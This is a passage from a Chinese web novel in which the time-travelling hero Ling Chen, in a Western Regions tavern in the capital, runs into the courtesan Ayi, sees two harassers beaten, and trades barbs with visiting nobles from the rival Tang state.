因为里面立有好多雕刻点缀着繁复花纹的大瓷瓶,有的还是金黄色的,不知道是不是黄金做的。地毯也是上好的羊毛毯,一股奇特香料的味道随风飘来,钻进了凌晨的鼻孔中。 “那里面不就有空位置么?” 店家见凌晨想进到那里面去,脸色更加的焦急和为难了:“客人,那里面都是西域的人,听不懂的说话,没有一点意思你进去。” 废他妈什么话! 老子连皇宫都是想进就进,想出就出!如果铁了心要走,整个天下哪里去不得?李雄女儿洗澡的沐室我也照进不误!能在你一个小酒楼吃了瘪?! 一念及此,凌晨露出核善的笑容,伸出手搂住店家的脖子,笑着对他说道: “其实你不知道,我爷爷的妹妹嫁去了吐鲁番,这个地方我不知道你有没有听说过,反正也在咱们西域。说起来,我也算是半个西域人。 我是来吃饭的,又不是来找茬的,我不想让你的笑容从脸上消失。但我的朋友,你也别自找不痛快。我今天要是进去吃饭了,啥事没有。我要是进不去,里面的、这里的,楼下的,所有人都吃不成这顿饭,你信不?” 店家看着近在咫尺、盛气凌人的凌晨,眼珠子在深窝里转了转后,回想了一下刚才在店外的一幕,觉得凌晨大概率不是在跟他开玩笑。 “那……那跟我进来吧您,小心您的爱……爱……爱宠。” 可怜的店家憋了半天都没想到怎么形容凌晨手里的这只癞蛤蟆,只好挤出这么一个极具现代化的词汇来,也是难为他了。 幽静,浓香,别具一格。这里的环境才真正符合这家酒楼的名字——异香楼。 里面的大堂比较安静,窗户都大开着,九张桌子只有四桌有人,凌晨的目光匆匆从这群食客身上扫过,直到看到第三桌客人时,怒从心头起,当即就生出了拜托侯明整顿一下异香楼的杂物摆放和食品安全问题的想法。 三个无论是从衣着、到长相、再到口音都明显是中原人的年轻公子坐在一起优雅用餐,低声交谈。 这老板特么的就是看不起人,我不就提着我的契约兽么,你就这么嫌弃我?我还能把它放出来满地乱窜还是咋滴? 再说了,这可是小王臣鹤从金明池抓来的,稀罕着呢!要是拿到典当行拍卖,不得换他个万儿八千的? 琅琊郡公的公子亲手抓的,能便宜喽? 开出的价格要是配不上郡公的身份,店给你砸了! 不过凌晨的心火很快就平复下去了,因为他看到了最后一桌客人。 很特别。 一名身着中原服饰的白衣女子,陪着一个长相明显是西域容颜的黄衣姑娘正在饮酒。 那姑娘额上斜着一条黑色绑带,里面混着蓝色和红色的细纹,脸上满满的胶原蛋白,但整体又显得很清瘦,唇粉齿白,脖颈修长。就是此刻的状态看起来有点不太好,好像有点醉了的感觉。 之所以能让凌晨熄火,是因为之前在长安的时候,她也曾让凌晨一阵恍惚。 阿依姑娘。 当年在长安进行花魁争夺战时,阿依姑娘的一支璎珞翡翠,让凌晨记忆犹新。尤其是她身上那种活泼的感染力和张扬的生命力,还真让凌晨动过一丝凡心。 不过,为了不让青柠伤心,再加上当时正在跟李遗景那只傻鸟交战,稳定关中局势,所以凌晨就强迫自己不去看她想她,女人只会影响自己拔剑的速度。 我搞纯爱的好吧~ 本以为这就是个见色起意的小插曲,过去了也就过去了。但缘分就是这么神奇,不管是缘还是劫,命中注定的相遇,是不会因为人的意志而改变的。 就像现在,他跟这位阿依姑娘在不同的时间,不同的地点,再次相遇了。 将疙瘩宝放在桌子上后,凌晨一脚踢走啰里啰嗦的店家,偷偷竖起耳朵,听她们在说什么。 “妙姐姐,我好想……我好想家啊!” 那位叫“妙姐姐”的女子拿起手绢轻轻擦了擦阿依眼角的泪水,伸出手将她搂过来靠在自己的肩膀上,一边哄着她,一边偷偷看向其他几桌客人,生怕阿依的哭声和醉话影响到别人。 那三个中原公子倒没受什么影响,一直在小声交谈着事情。另外一桌四个西域大汉也只是诧异的看了她们一眼,随后也就吃自己的饭去了,并没有一直盯着。 大家都很忙。 但是,剩下那桌的两个西域中年人,却笑着朝阿依扬下巴,饶有兴趣的直勾勾盯着两位姑娘,眼中的淫邪怎么也藏不住。 凌晨突然觉得自己刚才就应该听店家的,不要走进这扇门,这特么就是个是非之地啊! 倒不是他怕,他需要怕谁? 只是万一一会要是起了冲突,他出不出手? 出手的话,青柠还在坐月子呢,大舅哥要是知道了,估计就算明知不敌,也要跟这个负心汉拼个你死我活了。 不出手,选择作壁上观,那更不是他的性格。 虽说凌晨上次也在大庭广众之下救过魏娴,但那次是因为他对魏娴没有一丝男女之情,纯粹是为了打击不法、歼灭罪恶,特鲁…咳咳,只是为了做好人好事。 但阿依明显不同,至少他心里清楚不同。 自己心里有鬼,自然就没法坦坦荡荡的了,总觉得怪怪的。 只能祈祷那两个色狼不要胆大包天到光天化日之下对阿依和那位妙姐姐动手动脚了,再说这里还有这么多人…… 就在凌晨观察着场中局势,内心唱了好几出大戏的时侯,突然察觉有一道目光向自己投来。 两道目光在空中交汇,隐隐有电光“滋滋”作响。 那三个中原服饰的公子哥其中之一,正在用平静的目光望着凌晨,缓缓打量着他和他的疙瘩宝。 凌晨也微微皱眉,仔细观察着对方的容貌,暂时忘记了阿依姑娘和那俩色狼的存在。 这名年轻男子,给他一种很奇怪的感觉—— 笑意淡淡,眸深若渊。 第140章 尴尬至极 大堂里的气氛十分诡异。 阿依姑娘在低声啜泣,比起她那日的明媚阳光和活力四射,今天的她有些放浪形骸了,脸颊微红、妆容花乱,明显已经进入了醉酒状态,而且还一直说着胡话。 她旁边那位姑娘明显要成熟稳重许多,一直在柔声安慰着她,陪着她借酒消愁,顺着她的话不停的哄。也是难为她了,都是一样的年纪,却陪出了一副又当爹又当妈的感觉。 那四位西域男子可能是觉得受到了干扰,无法安心用餐。但他们也只是看了阿依一眼,就互相小声说了几句,一同起身拿起随身物品安安静静的离开了大堂,并没有表现出不满或者生气。 同样是西域人,另一桌的那两个傻鸟明显就差了人家一大截,还在盯着阿依和那位“妙姐姐”。他们坐姿嚣张,哈哈笑着举杯碰酒,极具侵略性的目光在两位姑娘身上上下打量,还互相挑眉、伸出手比划,很不礼貌。 淡蓝色的薄衫量身裁剪,非常得体;玉簪别着发髻,从两旁坠下来两条白色丝带,绑在下颚处;手中折扇轻轻挥动,握杯抬手间,尽显贵族风范,举手投足都带着一股难以言喻、浑然天成的高级感。 凌晨不认识跟自己对视的这小子,但他能感觉到,对方绝对是人中之龙。 察觉到同伴的异样后,另外两人也齐齐朝着凌晨看了过来。 一个,浓眉大眼厚嘴唇,肩宽背阔螳螂腿,目光锐利似刀,表情冷若冰霜,一身黄衣随意简单。袖间、腰间鼓起,明显藏着兵器。但……有武人的风范,却没有疆场的霜气。 另一个,大红色的鲜艳服饰非常招摇,下巴扬到天上,嘴角噙着淡淡的笑意,单手横在椅背上,一条腿的膝盖曲起超过桌面,一副纨绔子弟的模样。自信、桀骜、狂放、傲气冲天。 他们看了看凌晨,又同时将目光看向桌上鸟笼中肚皮一鼓一鼓的疙瘩宝。那名武人随即别过脸去,继续吃菜;那个纨绔子弟倒是眼前一亮,露出一副惊讶和意外的笑容,似乎很感兴趣。 三人之中明显是主角的蓝衣公子、也就是最先注意到凌晨的那位,举起桌上的酒杯,朝着凌晨微抬。 都是男人,人家客气,凌晨也不能落了气度,于是便握住桌上的茶杯同样向对方隔空遥敬,二人一同笑了。 “哎……你…你不是……” 就在凌晨将全部注意力都放在那三人身上时,不远处的阿依突然睁着醉眼,看着凌晨主动开口询问了起来: “你是梅儿姐姐和音儿姐姐的幕宾吧?我……我好像记得你……” 呃…… 凌晨隔着一座之远朝着阿依点头笑道:“没有没有,姑娘误会了,我不是她们的幕宾,我们只是普通朋友。” 阿依指着凌晨,摇摇晃晃的撅起嘴唇说道:“我认得你!就是你……给两位姐姐写了……写了……你等等,让我想想……” 阿依秀眉微蹙,一只手捂着脑袋,衣袖垂落,露出光滑洁白的手臂,小脸一鼓打了个酒嗝,分不清是头痛还是在思考。 下一刻,她又竖起食指指向凌晨:“我想起来了!” 然后,她就跟个孩子一样掰着自己的手指一个一个的数了起来:“《蝶恋花》、《点绛唇》、《临江仙》,还……还有,《卜算子……咏……咏梅》!就是你对不对?” 呃…… 凌晨被阿依审的有点尴尬,确实是他,给祁梅儿和段音一连抄了四首传唱千年的宋词,又写歌又写词又拉票,还让老文隐晦的站台,才把阿依的夺魁希望给浇灭了。 说起来,此情此景,倒像是阿依的大学录取通知书被凌晨半道截了发给祁梅儿和段音。现在苦主在自己面前又哭又醉,小嘴撅起委屈的不像样子,让凌晨有股强烈的负罪感,良心深受道德上的谴责。 没有凌晨的话,阿依的花魁梦想还真不遥远,毕竟那会她已经第三了。 如果换了别的女子,凌晨不仅不愧疚,还要一巴掌扇过去让她醒醒酒,但如果是阿依的话…… 算了,不忍心。 那位“妙姐姐”连忙伸手按下阿依指向凌晨的手臂,脸色略微有些焦急和紧张,向着凌晨抱歉的陪笑道:“我妹妹不胜酒力,喝多了说些胡话,公子切莫计较,与她一般见识。” 凌晨呵呵笑着摆了摆手,表示不必在意。 可是阿依却看着凌晨的脸,委屈至极,双手捂着自己的脸嚎啕大哭了起来:“哇——为什么呀!我明明已经那么努力了,只要……只要做了花魁,挣够了赎身钱,我就能回家了……我好想家啊……” 呃…… 怎么突然有股罪该万死的感觉呢?不应该啊…… 凌晨有些怀疑人生了,自己好像确实在不经意间无心插柳,严重打击了一位可怜女孩的人生安排,浇灭了她的希望。 那位蓝衣公子全程听完后,看向凌晨的目光更加热烈了,似乎是发现了什么新奇有趣的事物。 “阿依!你醉了,不要再胡说了,我们该回去了。” “妙姐姐”虽然没有参加过长安夺魁,也因为身份地位的关系不清楚凌晨的身份。但花魁的背后金主,能是小人物?对方绝对不是她和阿依能惹得起的。 “我没醉!” 阿依挣脱开“妙姐姐”的拉搂,身形不稳的站了起来,握着嵌了宝石的银壶给“妙姐姐”满上,指着酒杯很霸气的说道:“喝!” 话刚说完,她就想继续坐下喝,结果因为醉酒干扰了感知,一个坐空,跌到了桌子底下去了。 …… “妙姐姐”颇为无奈的弯下腰将她重新扶了起来,阿依的发丝都凌乱了,整个人茫然的看着桌子上的酒菜,仿佛不认识了一般。 好不容易安稳的坐下后,她小嘴一撇,双手合十向着凌晨轻轻挥道: “官人~求求你,不要再打压我了好不好?我……你就让我当一届花魁,就一届!就一届我就能回家了…… 我真的……好想家乡的人,想我的爹爹、娘亲和弟弟妹妹啊!我想回家……哇——” 哎西八…… 凌晨缩着脖子坐在桌子上,很久没有这种手足无措、无地自容的感觉了。 好像我犯下过~某一种~~不能原谅的错误~ “哎,两位姑娘,你们是青楼的吧?你们要多少钱?尽管说来!哥哥给你们赎身,带你们回家~”就在这时,那两个西域男子其中之一开口了。 阿依迷迷糊糊的循着声音转头看向那两人,一见是西域人,顿时就笑魇如花: “好呀~我…我们就在柳南坊的松竹楼里,我……我叫阿依,求求你们,带我回家吧,回去后……嗝~回去后,我会让爹娘好好款待感谢你们的!真的!” 那俩人对视一眼,十分猥琐的笑了:“款待就不必了,只要回去的路上你伺候好我们哥俩就行了,我们要是满意了,分文不要你的!” 此言一出,阿依朦胧的醉眼立刻就清醒了几分,眉头紧皱。她身旁的“妙姐姐”更是俏脸愠怒,不满的对那二人斥责道: “请官人自重!阿依还是个小姑娘,我们是清倌人,卖艺不卖身的!” 那两人听后又是对视一眼,哈哈大笑起来:“什么清倌人,别给自己立牌坊了,卖就是卖,说的那么清新脱俗做什么?无非是银子没给到位而已,你就直说,要多少才能跟我们兄弟走?” 这话,彻底激怒了两位姑娘,凌晨严重怀疑这个“妙姐姐”跟祁梅儿认识,因为下一刻,她就说出了对方的那句经典名言: “回家问你母亲去!我们虽然低贱,但还没有沦落到要出卖身体的地步!你能说就说,不能说就将嘴闭上!” “腾!” 此言一出,那俩西域男子瞬间就红温了,拍着桌子、砸着酒杯站了起来,其中一人手中还握着一柄弯刀,二人一同抬腿向着阿依她们走了过去。 凌晨连忙伸手对那俩西域男子喊道:“哎哎哎,兄台,算了算了,给我个面子,跟姑娘家家的一般见识什么嘛~” “滚一边去!你是从哪个石头缝里蹦出来的狗崽子?想学人家英雄救美?那也得掂量掂量自己的脖子能不能接住爷爷的刀!” 凌晨懵了,都多少年没人敢跟自己这么说话了? “我叫凌晨,给我个面子,别闹~” “你叫中午都没用,识相的滚一边去!” 凌晨“腾”的一下就从椅子上站起来了,满脸的震惊和难以置信! 哥们,你看清楚,我凌晨啊! 那二人压根没管什么凌不凌晨的,径直离开座位朝着阿依和“妙姐姐”走去,就在这千钧一发之际,三名公子哥中的那个武人放下了手中的筷子,看向那位蓝衣公子。 对方闭着眼睛轻轻点了一下头。 武人按着桌子起身,走到过道中间,拦住了两名西域男子的去路。 “滚……” 才刚开口一个字,一记鞭腿便抽到了西域男子的脸上!力道之大,直接将他抽的身形歪斜、一头撞在了空桌旁边的凸阶上,睡的安详。 另一个西域男子还没反应过来,属于他的福利也已经到来。那武人单手就将他掐住脖子捏着提了起来,男子双手捂住武人的手掌,两条腿在空中拼命乱蹬。 下一刻,对方欺身向前,越过他的身子,直接将他从空中捏摔在了地面上! “噗……噗……” 那名西域男子口中断断续续的喷血,糊了一脸,染湿了领口,有些血液还灌进了鼻孔,身子一抽一抽的,显然伤得不轻。 好像有点死了…… 第141章 都是熟人 整个大堂立刻就安静了。 阿依的酒都被吓醒了,努力的眨了眨眼睛后,望着倒在地上两人吞了吞口水,这才发现自己摊上大事了! “妙姐姐”也是皱眉捂嘴,不知道该怎么办了。 “好!好身手!” 凌晨起身拍着手掌走了过去,立在这名武人的身旁,弯下腰看了看还在抽抽的淫贼,十分解气的又在他身上补了两脚。 “兄弟好武艺啊!干净利落、势若雷霆,看的我好爽!” 眼前的武人皱眉看了一眼有些兴奋的凌晨,并没有再说什么,只是朝着他微微抱拳,便又重新回到了自己的座位上。 那蓝衣公子无奈的轻轻吐了口气:“拦下即可,干嘛出手那么重?” “没事,我去跟太守大人说,坐监入狱,任凭处置。” 蓝衣公子听后更是无语,摇了摇头后,低首将扇子收了之后,起身准备离开,另外两人也跟随着他站了起来。 “哎哎哎,你们干嘛去啊?” 凌晨见他们好像要走,连忙伸手阻拦。他正想跟这仨聊聊呢,很久没有遇到这么对胃口的人了。 蓝衣公子握着收起的折扇,向着凌晨行礼道:“我这同伴下手不知轻重,如今这两名调戏女子的淫贼眼见是重伤了,在下也该去开封府衙说明情况,兄台勿怪,暂且失陪了。” “啧~~我还想着好好的怎么要溜了呢,原来就因为这点屁事儿!没事没事,这位兄弟见义勇为我是看在眼里的,我给你们作证人。坐坐坐,该吃吃该喝喝,天塌了我顶着。” 蓝衣公子正欲开口再说什么,凌晨却离开了他们转身向着阿依和“妙姐姐”走去,一边走还一边扭头对那三位公子哥说道: “别走啊!千万别走,我还想跟你们聊聊天呢~” 三人互相看了看彼此,蓝衣公子轻出了一口气,没有说话,扬着下巴示意先坐。 凌晨走到两位姑娘身边,这俩小妞明显是被吓到了,“妙姐姐”小脸煞白,阿依的醉眼都清澈了几分。 “这里的事情我会处理,二位姑娘先回去吧。对了……阿依姑娘,长安的事我很抱歉,不过你也不用太过焦虑,下届花魁一定是你。回去睡一觉吧,睡一觉醒来依然有明媚阳光。” “妙姐姐”连忙起身对着凌晨行礼道:“多谢公子,只是……那人伤的好像不轻,若是官府追查下来……那三位公子和您……” 凌晨耐心的对她说道:“没事,在下虽说不才,在官府中还认识些人,况且此事本就是他们二人挑衅在先,不会有事的。你们就安安心心的回去,不必担心。” 听到凌晨这么说了,“妙姐姐”微微咬唇,盯着到现在还在抽的那名西域男子看了半晌后,将目光移回凌晨身上。 “那就麻烦公子了~” 凌晨笑着摇了摇头,让开身子,“妙姐姐”转身将还处在宕机状态的阿依拉了起来,二人朝着凌晨道福行礼后,快速离开了桌子。 走到那三名公子哥的酒桌旁时,“妙姐姐”又拉着阿依向他们行了一礼,随即便立刻转身,匆匆离开了大堂。 凌晨看着她们离开后,重新走到三人面前,笑着问道:“不介意我挤进来吧?” 蓝衣公子伸手将椅背握住,抽开后伸手示意“请”,凌晨毫不客气的坐在了他的身边。 “你好,我叫凌晨。” “你……你好,我叫沈阅。” 沈阅? 怎么感觉在哪里听到过? 就在凌晨有点想不起来的时候,沈阅笑着说道:“传闻说临颍侯行踪不定、做事随心所欲,颇有出尘之意。今日一见,果然名不虚传。” 就在凌晨愣神之际,沈阅抬手指向那位又在低头干饭的武人:“这位是在下的好友徐央。这位……” 就在沈阅指向那个红衣骚包时,对方打断沈阅,躺在椅背上朝着凌晨随意的抬了抬手:“周襄,幸会。” “幸会幸会~” “呱~” “哎?” 正在四人交谈之际,凌晨座位上的疙瘩宝叫了一声,似乎是对凌晨抛下它有些不满。凌晨尴尬的扫视了一圈眼前三人,不好意思的伸出手指指向自己的座位,试探性的问道: “不知……” 拽的二五八万的周襄坐起身子,双手趴在桌边,十分感兴趣的说道:“把你的鸟笼拿过来呗,我想看看你的宠物。” 虽然这小子看着神神叨叨的有点疯批,但起码想法跟自己是一样的,啊—— 凌晨瞬间就感觉他顺眼了许多。 噔噔噔噔~ 噔噔噔噔~ 去而复返的凌晨将疙瘩宝放在桌子上后,周襄双手伸出捧着鸟笼移到自己眼前,脸上的表情丰富多彩,仔细端详着笼子里的癞蛤蟆,不知怎的,还伸出舌头舔了舔嘴唇。 我尼玛,这逼养的不会是…… 凌晨连忙起身,一把从他手里把疙瘩宝夺了回来,目光警惕、一脸戒备的望向这傻子。 “今日之事,凌兄全程都看到了。若是开封府衙遣人来拿我们几个,还望凌兄能够替我们做个见证。” “你这个人,总是担心这些鸡毛蒜皮做什么?这俩是我打的,死活都与你们没关系,这样总行了吧?就算你们不出手,他们也不可能竖着离开异香楼。” 不满的埋怨完沈阅后,凌晨又看向红衣服的周襄: “我说你能不能不要再盯着我的契约兽看了?这样很不礼貌!我警告你啊,这可是琅琊郡公的公子亲手抓来的,你要是敢打它的主意,出了事别怪我没提醒你。” 此言一出,周襄表情微愣,坐在凌晨身边的沈阅也第一次用正视的眼光看向疙瘩宝。 一直埋头吃饭,仿佛对什么都不感兴趣的徐央却停下了手中的动作,目光锐利的抬头看向凌晨胳膊肘子旁边的鸟笼,冷冷的开口问道: “你是说,这只蛤蟆是王臣鹤的儿子抓来的?” “这不是蛤蟆,这是我的契约……” 凌晨的话还没有说完,徐央猛的伸出手就要去抓他的鸟笼,得亏旁边的周襄早有准备,一把按住了他。 “放开我!” 徐央刚才已经表现出了自己惊人的武艺和气场,换了旁人早就吓傻了,谁敢拦他? 但是周襄好像并不惧怕他,不仅握住他的胳膊不松手,还骂骂咧咧的说道:“就说不该带你来,你们这些只长个子不长脑子的莽夫惯会坏事!你跟只蛤蟆较什么劲?” “砰!” 凌晨一拳砸在了桌子上,身后和脑袋上的怨念都快要凝结化形了。他低着头,伸出一根手指,十分生气的严正警告道: “我再说一次,它是我的契约兽,不是什么蛤蟆!!” 说完后,他抬起头看向徐央,目光阴冷的说道:“我不知道你是有什么毛病,但我告诉你,今天我的疙瘩宝要是被吓到了,回去后食欲不振、不给我抓蚊子,我保证你看不到明天的太阳!!” 听完这话,徐央皱眉看向凌晨,周襄也慢慢放开了他,直起身子用轻蔑的眼神傲视着凌晨。很明显,二人根本没有将凌晨的警告当做一回事,甚至还隐隐藏着一种跃跃欲试的挑衅。 就在这时,坐在凌晨身旁的沈阅缓缓开口了:“好了,不要再闹了。” 他的话就像是法官的锤子,一锤定音后,徐央继续拿起筷子低头吃菜。周襄吊儿郎当的看了看凌晨后,嘴角歪起一笑,举止随意的坐了下来,盯着凌晨一言不发。 看到他俩消停了后,沈阅这才和声细语的对凌晨说道: “凌兄勿怪,徐兄的尊堂乃是徽州军上将徐京将军,上次庐州一战,贵国的琅琊郡公让我徽州军蒙受了不小的损失,他一时犯糊涂,也是情有可原的,还望你能理解一二。” 啊? 贵国?徽州军? 徐京?这特么谁啊? 哎? 哎!!! 凌晨恍然大悟,这才猛的想了起来!就说沈阅这小子的名字自己好像在哪里听到过呢,他不就是上次小登跟自己说的那个什么……肚子里有点墨水的江南书生么! 唐国人啊! 西八,这事整的,一不小心稀里糊涂机缘巧合之下,跟仇家坐一桌了…… 难怪这姓徐的跟见鬼了一样盯着我的疙瘩宝,原来是这样啊~这么一说还真就通了。 凌晨尴尬的收回了怒气,干掉了人家一半的骑兵精锐,如今人家只是朝一只蛤蟆撒气,也确实够克制得了。 一想到这里,他默默伸出手,不着痕迹的将鸟笼里的疙瘩宝从桌子上取了下来,放在了自己的座椅后面。 人在尴尬的时候,就会想办法转移注意力,于是凌晨抬起头,不再去看徐央,而是转向牛逼哄哄的周襄。 我忍你很久了!你小子一直鼻孔朝天,到底在臭屁什么?! “哎,你,你老用这种眼神看我干嘛?我的契约兽也惹你了?” 被凌晨点到的周襄笑容一僵,接着轻哼一声,冷笑着不说话,将脸别向一旁。 还是沈阅,他自己都有些尴尬的转身朝向凌晨,思索着犹豫了一下后,才慢慢开口: “凌兄的趣物并没有招惹周兄,只是……只是凌兄……” 在沈阅断断续续的描述完后,凌晨老脸一红,也不好意思再质问周襄为什么对自己总是一副轻蔑的表情了。 他爹叫周沛,也就是这次来汴京的外交天团总话事人,唐国金陵太守。 这个并不重要,重要的是,周沛有个亲弟弟,叫周洪。 周洪当年是唐国安庆知府,托凌晨的福,在他治下弄丢了大周梁王周元昭,被唐皇李雄问罪下狱,最后废了老大的劲才勉强官复原职。 嗯…… 都是熟人啊,哈哈…… 尴尬的凌晨低头思索了一下后,突然举起桌上的杯子,一把甩了出去,砸在了地上那个已经不抽抽了的西域男子身上,小声骂了一句: “呸!让你色胆包天!” 第142章 给脸不要? “沈某虽然久居偏远之地,却也听说过凌兄的赫赫威名。今日有幸巧遇撞见,同桌而食,举杯对饮,足慰平生。” 沈阅看着身边的凌晨,眼中没有一丝敌意和介怀,只有对同龄人的欣赏和敬佩。 这话听着舒服,凌晨心情大好,哈哈笑着开始了商业互吹: “江南可不是什么偏远之地,我幼年时曾在吴郡和临安待过一段时日,也算是半个江南人吧~无论是富春江水、渔火晚照,还是断桥残雪、天青烟雨,都不比中原差在哪里。 旧唐杜牧之曾有诗云:“江东子弟多才俊”,徐兄武艺高强,周兄潇洒倜傥,至于说沈兄你,那就更不得了了!年纪轻轻便誉满天下,连我们小登都赞口不绝呢~” 呃…… 沈阅眉头微抬:“小……恕在下孤陋寡闻,这位小登是……” “韩登啊~你没听过他?” 秦王韩登?? 我当然听过啊! 但我没想到你会这样喊他啊! “原……原来是秦王殿下,凌兄与秦王关系很好吧?称呼如此随和。” 凌晨用食指敲着桌子说道:“还行吧,就那样,我这人名声不好、脾气臭、性格差,所以在大郑朋友不多,来来去去也就那么些。” 曾经的殿帅,那也是殿帅。 数度护驾有功,更兼从龙之臣,还简在帝心的人,朋友怎么会少呢? 沈阅自然知道这是凌晨谦虚的话,怕不是他朋友少,而是他心高气傲,看得起的没几个吧~ 言谈间,沈阅已经亲手为凌晨斟上一盅,自己端起酒杯说道:“凌兄,来,莫要只说,也该饮上一杯润润喉咙。请~” “嗯嗯嗯~” 凌晨当然乐意,也握住杯子举了起来。 但就在这时,让人意想不到的一幕发生了。 看起来最有可能挑事儿的周襄也举起了酒杯,对着凌晨遥敬。虽说大家有仇,但也不是不能改天再报。再说现在是在大郑京师,又不能真把凌晨怎么样。 哪怕明天要提刀互砍,也不妨碍今天一块喝酒嘛~ 反倒是在固有印象中原本应该豪爽大度的武人徐央,依旧只顾着低头吃菜,跟特么八百年没吃饭的饿死鬼投胎一样,头都不带抬一下。 凌晨懒得理这傻逼,直接无视他,把他当成空气。与一旁的沈阅碰了酒杯,又对着周襄遥敬回去,自顾自的一饮而尽。 另外两人看了一眼徐央,也只能无奈的先喝了再说,免得大家都尴尬。 放下酒杯后,沈阅再次瞥了一眼徐央,随即露出笑脸,看着凌晨说道: “先前那位姑娘说的是真的吗?那四首词真是出自凌兄之手?不瞒凌兄,在下自幼研读诗书,对此一道略有几分粗浅见解,当得知‘多情却被无情恼’是出自凌兄之手后,心痒难耐,迫切想要与凌兄交流一番~” 草…… 凌晨警惕的看着沈阅朝向自己前倾的脸,你这是正经交流吗? 我承认你长的有点小帅,但我不搞基,谢谢。 “既然沈兄知道我的爵位,想必对我也是了解一点的。我就是个武夫,对于诗词歌赋其实也没什么真知灼见,沈兄若想了解中原文风,大可去国子监、上林苑,那里龙虎齐聚,个个都是说话好听的人才。” 见凌晨无心与自己交流文学,沈阅的脸上不禁露出了失望之色,叹了一口气后,独自斟了一杯,郁闷的仰头饮下。 对嘛,只有你这种愿望无法实现、说出诉求后得不到回应的忧郁公子,才能写出好诗好词来。 我就不行。 千古流传的诗词大家,有几个是得志的?李白一生曲折,苏轼官运多舛,才谱写出了唐诗宋词的辉煌篇章。 怎么不见人章衡写诗写词呢? 只有仕途上的失意者才会抒发情感、牢骚不断,希望大人物能够听到他们的诉求,可怜可怜自己。 杜甫的《奉赠韦左丞丈二十二韵》里,“青冥却垂翅,蹭蹬无纵鳞。甚愧丈人厚,甚知丈人真。每于百僚上,猥颂佳句新”,那真是要多卑微有多卑微、要多肉麻有多肉麻,只求对方能向朝堂诸公推荐自己。 柳永的《望海潮·东南形胜》中,“千骑拥高牙,乘醉听箫鼓,吟赏烟霞,异日图将好景,归去凤池夸”,这位更是倒反天罡,竟然给杭州政坛大佬孙沔反向画起了大饼: 哥们,你拉我一把,以后干到朝廷里了我就跟他们说你有多好多牛逼。 emm…… 结果可想而知,韦左丞和孙学士都没有鸟他们。 不可否认,逆境出人才,绝境出天才。杜甫的“安得广厦千万间,大庇天下寒士俱欢颜,吾庐独破受冻死亦足”,绝对是人世间最真切的愿景流露,那种无私的精神和济世情怀、悲悯众生的奉献意愿,是真正的大慈悲。 因为我们大部分人,都是这样的失意者,所愿不能成,所想不可得,游离在现实和梦想的漩涡中,挣扎徘徊…… 柳永的千古绝唱“多情自古伤离别,更那堪,冷落清秋节”、“此去经年,应是良辰好景虚设。便纵有千种风情,更与何人说”,道尽了多少人藏在心底的无尽悲伤,这种悲伤无关风月,那是一种对人生的唏嘘和无奈…… 可是,穿越到大郑,身怀隐身技能的凌晨显然没有这种悲伤,至少现在还没有。不仅如此,他还在致力于让更多的人少点悲伤。 但是沈阅有。 只靠诗词写得好,是不可能让徽州军上将之子和金陵太守之子为之折服并且言听计从的,沈阅真正的底蕴,是他那位当右仆射的爹。 或者说,是他背后的江南沈家。 在寻常百姓的眼中,沈家当然是不可撼动的庞然巨物!这一点毋庸置疑。 但在大郑四十七万常备军面前,沈家是什么? 大点的蚂蚁而已。 这也是沈阅如今忧心忡忡、北上汴京的重要原因。唐国使团中的所有人,都是为了公事,但公事背后,总要聊些私人话题。 你这人真帅,身边妹子一定很多吧?哎你也不错啊,肯定红旗不倒彩旗飘飘!兄弟我们一见如故啊,你现在是什么职业?哦哦哦~牛逼牛逼,真好嘿嘿…… 哎,那以后我落魄了,你可要拉一把啊~以后我们要是输了,你可要给陛下说几句好话啊~对对对,说不定以后还能有机会同朝为官呢哈哈哈~ 至于在哪个公司做同事,咱们先不急着争论,反正先约好再说嘛~ 凌晨与沈阅、周襄相谈甚欢。 周襄这小子虽然外表看着有点流里流气,但世家公子的素养还是挺在线的,除了举止有点容易在街上挨揍以外,言语、认知都是一等一的,政治嗅觉和双商都很高。 最具代表性的现象就是,他能和差点害死他亲叔的凌晨心平气和的坐在一起,认认真真商谈未来的事情。 能一笑泯恩仇的人,通常也能一计定生死,极致的随意背后,是极端的偏执。 这是个极其危险的人物。 反观一旁的徐央,看似是三人里最不好惹的,实际上却容易被自己的情绪左右,甚至到了分不清轻重主次的地步,这种人,弹手可灭。 就在三人谈得差不多时,沈阅有心提醒徐央,不要忘了家族安排给他此行的目的,于是便开口说道: “徐兄,饭菜也吃的差不多了,你也该敬凌兄一杯,有缘千里来相见,不饮一杯,岂不令人生憾?” 徐央听到后,放下了手中的筷子,一言不发的拿起面前的酒杯。 凌晨也不是那小心眼的人,见对方肯借坡下驴,自然也同样也举起了酒杯,伸向了对方。 谁料下一刻,徐央压根没管凌晨,自己一口灌进了嘴里,只剩下凌晨的手还举在半空中。 下一刻,凌晨直接将手中的酒水泼到了徐央的脸上,将他的头发、衣服和脸面都浇透了。 大堂内的气氛瞬间降至冰点。 我给你脸,不是你有多牛逼,而是我有素质。 如果你不要,我也可以没素质。 下一刻,徐央抹了一把脸上的酒水,从座位上站了起来,凌晨冷哼一声,准备动耳朵。 就当这半天瞎折腾了,今天他们三个,都得死。 沈阅站了起来,单手拉住凌晨胳膊上的衣袖,将他往后拉了一点,目光深沉的看向徐央,冷声说道: “通方,你过了。” 徐央眯起眼睛死死盯着凌晨,面色不甘的说道:“这厮与王臣鹤私交必密,我徽州近三千男儿性命,皆损奸人之手,说不得就有他参与!不当面捏死他,已经是我的极限了。若要我与他同饮,万万做不到!要罚,你便罚吧!” 周襄叹着气起身,将两只手搭在徐央的肩膀上,强行把他按住,费了老大劲才把他重新按着坐了下来。 凌晨歪着头静静看着握拳横桌、满脸不服的徐央,没有一丝生气。 除了伍子胥以外,谁会去跟死人生气? “凌兄,我这兄弟性子直……” 沈阅刚想劝说凌晨,不想让矛盾再持续升级,凌晨却伸手打断了他,看着徐央轻笑着说道: “战场上技不如人,死了就是活该。我拿你当个人,你偏要自己做狗,那就没办法了。还有,徽州军的失败完全是我兄长指挥有方,大郑将士用命。 如果真的是我出手,那结果早就不是今天这个样子了。徽州军不会还剩一半漏网之鱼;金陵城也将不再固若金汤;你也不可能有资格站在我面前狗叫。” 第143章 口舌之争 就在场面陷入了僵局之中时,大堂门被人推开了。 解二带着一帮护庄队走了进来,随之而来的还有侯明手下的一个分管京城治安的都头,以及几个官府衙役。 可怜的龟兹店家被一个护庄队员提着脖领,脸色煞白的立在门框边上,双手扶着门框小心翼翼的探出脑袋朝着大堂里面看来,对凌晨露出一副比哭还难看的笑容。 那都头走过来后,先是朝着凌晨行了一礼,然后扫了一眼其他三人,自顾自的走到倒在地上的两名西域男子身边,伸出手摸了摸他们的脖子,又探了鼻息。 还行,还有气。 